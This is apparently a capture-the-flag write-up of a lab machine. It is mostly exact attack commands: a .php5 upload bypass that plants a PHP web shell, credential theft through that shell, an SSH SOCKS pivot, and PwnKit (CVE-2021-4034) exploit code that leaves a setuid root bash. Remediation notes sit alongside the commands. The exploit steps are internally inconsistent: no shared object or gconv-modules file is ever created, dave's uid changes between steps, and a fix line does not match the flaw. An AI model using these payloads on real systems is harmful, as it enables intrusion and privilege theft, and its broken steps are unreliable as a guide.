Vault
Summary
I found an unauthenticated file-upload endpoint on an Apache web application whose blacklist filtered .php files but not the equally executable .php5 extension. A one-line PHP shell uploaded through that bypass ran as the web server user and was used to read plaintext SSH credentials from the desktop of local user dave.
SSH as dave revealed an internal QEMU virtual-machine network; a dynamic SSH SOCKS proxy made those hosts reachable. Root came from the host itself rather than the internal network: a policykit-1 build vulnerable to PwnKit (CVE-2021-4034) let dave load a shared object into setuid pkexec and drop a setuid root shell.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export INTERNAL_HOST2="<another-host-reached-after-pivoting>"
export PASSWORD="<the-password-you-recovered, for dave>"Attack path — how the box was taken
Exact commands 2
Confirm service versions before probing the web app.
$ nmap -Pn -sV -p 22,80 $TARGETVerify the upload form is accessible without authentication.
$ curl -sS -i http://$TARGET/sparklays/design/changelogo.phpExact commands 3
Create the minimal PHP command shell.
$ printf '<?php system($_GET["cmd"]); ?>' > cmd.php5Upload with a spoofed MIME type; look for a success message and the stored filename.
$ curl -sS -F 'file=@cmd.php5;type=image/jpeg' -F 'submit=upload file' http://$TARGET/sparklays/design/changelogo.phpConfirm code execution; expect uid=33(www-data).
$ curl -sS "http://$TARGET/sparklays/design/uploads/cmd.php5?cmd=id"FixReplace the upload extension blacklist with a strict whitelist and server-side content validationCritical
Exact commands 2
List dave's desktop to locate credential files.
$ curl -sS "http://$TARGET/sparklays/design/uploads/cmd.php5?cmd=ls+-la+/home/dave/Desktop"Read the plaintext credential file; adjust filename to match what ls reveals.
$ curl -sS "http://$TARGET/sparklays/design/uploads/cmd.php5?cmd=cat+/home/dave/Desktop/ssh"FixRemove plaintext credentials from files accessible to the web server processHigh
Exact commands 1
Validate SSH access and read the user flag -> <user.txt>
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null dave@$TARGET 'id; cat ~/user.txt'
uid=1000(dave)Exact commands 2
Open a SOCKS5 proxy on my port 1337; run in the background.
$ ssh -D 1337 -q -N -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null dave@$TARGETProbe the internal VM's web portal through the proxy; it answered, but every upload path it exposed dead-ended on 404/405/500.
$ proxychains curl -s http://$INTERNAL_HOST2/Exact commands 5
Confirm the installed policykit-1 predates the CVE-2021-4034 fix.
$ dpkg -l policykit-1Empty argv is the whole trick: pkexec reads argv[1] off the end of the vector and puts the crafted string back into its environment.
$ cat > /tmp/pkmini.c <<'EOF'
#include <unistd.h>
int main(){
char *envp[] = {"evildir", "PATH=GCONV_PATH=.", "SHELL=x", "CHARSET=x", 0};
char *argv[] = {0};
chdir("/tmp/pkdir");
execve("/usr/bin/pkexec", argv, envp);
return 0;
}
EOFLay out the directory whose name pkexec will treat as the GCONV_PATH value.
$ rm -rf /tmp/pkdir /tmp/rootbash && mkdir -p /tmp/pkdir/GCONV_PATH=. /tmp/pkdir/evildir && touch /tmp/pkdir/GCONV_PATH=./x && chmod a+x /tmp/pkdir/GCONV_PATH=./xThe loaded object runs as root and leaves a setuid copy of bash behind.
$ gcc /tmp/pkmini.c -o /tmp/pkmini && /tmp/pkmini; ls -l /tmp/rootbash-p keeps the effective uid, so the shell stays root: euid=0(root).
$ /tmp/rootbash -p -c "id; cat /root/root.txt"
uid=1001(dave) gid=1001(dave) euid=0(root) groups=1001(dave)FixStop unprivileged local users from reaching a root-owned hypervisorCritical
Attack patterns used
The transferable techniques behind this compromise.
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.18 ((Ubuntu)) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.